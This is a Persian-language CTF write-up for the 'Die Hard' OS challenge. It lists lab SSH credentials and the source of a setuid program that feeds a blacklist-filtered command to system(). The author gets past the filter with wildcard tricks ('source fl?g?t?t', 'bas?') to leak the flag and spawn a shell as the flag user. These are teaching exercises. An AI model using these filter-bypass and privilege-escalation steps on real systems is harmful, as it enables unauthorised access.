چالش سیستمعامل اول: Die Hard
توضیحات
مارا به سختجانی خود این گمان نبود!
اطلاعات ورود:
ssh -p 8024 user1@86.104.33.87
/home/flag
password: YTQ5YzJjMjhkMjk1NzhiZGRjYzQzM2M
حل چالش
پس از اتصال ssh و وارد شدن به مسیر خواسته شده با سه پرونده مواجه میشویم:
user1@parcham-os-1:/home/flag$ ls -al
total 48
drwxr-xr-x 1 flag flag 4096 Jan 26 22:15 .
drwxr-xr-x 1 root root 4096 Jan 26 21:26 ..
-rw-r--r-- 1 flag flag 220 Jan 26 21:26 .bash_logout
-rw-r--r-- 1 flag flag 3771 Jan 26 21:26 .bashrc
-rw-r--r-- 1 flag flag 807 Jan 26 21:26 .profile
-r-sr-xr-x 1 flag flag 17112 Jan 26 22:14 access
-r--r--r-- 1 flag flag 1143 Jan 26 21:15 access.c
-r--r----- 1 flag flag 42 Jan 26 21:21 flag.txt
متوجه میشویم که با نام کاربری user1 وارد سیستم شدهایم ولی پروندههایی که به آنها باید دسترسی پیدا کنیم متعلق به کاربر flag هستند.
به این ترتیب به سادگی نمیتوان پروندهی مربوط به flag را خواند.
چرا که مجوز دسترسی به خواندن پرچم فقط برای کاربر flag است.
user1@parcham-os-1:/home/flag$ cat flag.txt
cat: flag.txt: Permission denied
از طرفی دقت میکنیم که پروندهی access که یک فایل اجرایی است دارای فلگهای زیر است:
-r-sr-xr-x
و این یعنی زمانی که اجرا میشود مجوزهای مربوط به کاربر flag را دارد.
برای سادگی این سوال، پروندهی کد منبع این فایل اجرایی نیز در همین مسیر قرار داده شده است که به سراغ آن میرویم تا بررسی کنیم این پرونده چه کاری انجام میدهد.
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <string.h>
char *gen_cmd(int argc, const char **argv){
size_t total_size = 1;
for(int it = 1; it < argc; it++){
total_size+= strlen(argv[it]);
}
char *ret = malloc(total_size);
total_size = 0;
for(int it = 1; it < argc; it++){
size_t len = strlen(argv[it]);
memcpy(ret+total_size, argv[it], len);
total_size+= len;
ret[total_size] = ' ';
total_size++;
}
ret[total_size] = '\0';
return ret;
}
int filter(const char *cmd){
int valid = 1;
valid &= strstr(cmd, "*") == NULL;
valid &= strstr(cmd, "sh") == NULL;
valid &= strstr(cmd, "/") == NULL;
valid &= strstr(cmd, "home") == NULL;
valid &= strstr(cmd, "parcham") == NULL;
valid &= strstr(cmd, "busybox") == NULL;
valid &= strstr(cmd, ".") == NULL;
valid &= strstr(cmd, "$") == NULL;
valid &= strstr(cmd, "flag") == NULL;
valid &= strstr(cmd, "txt") == NULL;
return valid;
}
int main(int argc, const char **argv){
setreuid(UID, UID);
char *cmd = gen_cmd(argc, argv);
if (!filter(cmd)){
exit(-1);
}
setenv("PATH", "", 1);
system(cmd);
}
این برنامه در واقع یک دستور ورودی میگیرد و آن را فیلتر میکند و در صورتی که شامل برخی کلمات یا کاراکترهایی باشد از برنامه خارج شده و در غیر این صورت به سراغ اجرای آن میرود. همانطور که اشاره کردیم در صورتی که از فیلتر عبور کنیم، هر دستوری که کاربر وارد کرده باشد با مجوزهای کاربر flag اجرا میشود.
این نکتهی مهمی است چون اگر بتوانیم دستوری وارد کنیم که فایل flag.txt را بخواند و از فیلتر عبور کند در واقع به پرچم میرسیم.
تابع
gen_cmd()
فقط ورودیها را به یکدیگر متصل میکند تا یک رشته را باز گرداند و سپس دستور
system(cmd)
فرمانی را اجرا میکند که کاربر وارد کرده است.
همچنین دقت داریم که دستور
setenv("PATH", "", 1)
متغیرهای محلی بش را پاک میکند و این یعنی نمیتوان از این متغیرها استفاده کرد.
همچنین با بررسی تابع
filter
متوجه میشویم که دستوری مانند
cat flag.txt
قابل اجرا نیست.
همچنین دقت داریم که همهی دستورات از طریق فراخوانی
system
در دسترس نیستند. به خصوص دستوراتی که در مسیر
/bin
قرار دارند.
به همین دلیل دست به کار میشویم تا محدودیتهای موجود در تابع فیلتر را دور بزنیم.
راههای متعددی وجود دارد که برخی از آن ها را اینجا مینویسم:
user1@parcham-os-1:/home/flag$ ./access 'source fl?g?t?t'
flag.txt: line 1: parcham{bbe147934d55c3695b037b259fed8eca}: No such file or directory
همچنین میتوانیم با تغییر مسیر دستوری مشابه دستور زیر را اجرا کنیم. تعییر مسیر با هدف دسترسی به دستورات موجود در مسیر bin
انجام میشود
cd /bin
/home/flag/access "bas?"
در اینجا نام کاربری ما تغییر میکند و دیگر به راحتی میتوانیم پروندهی پرچم را بخوانیم.
cat /home/flag/flag.txt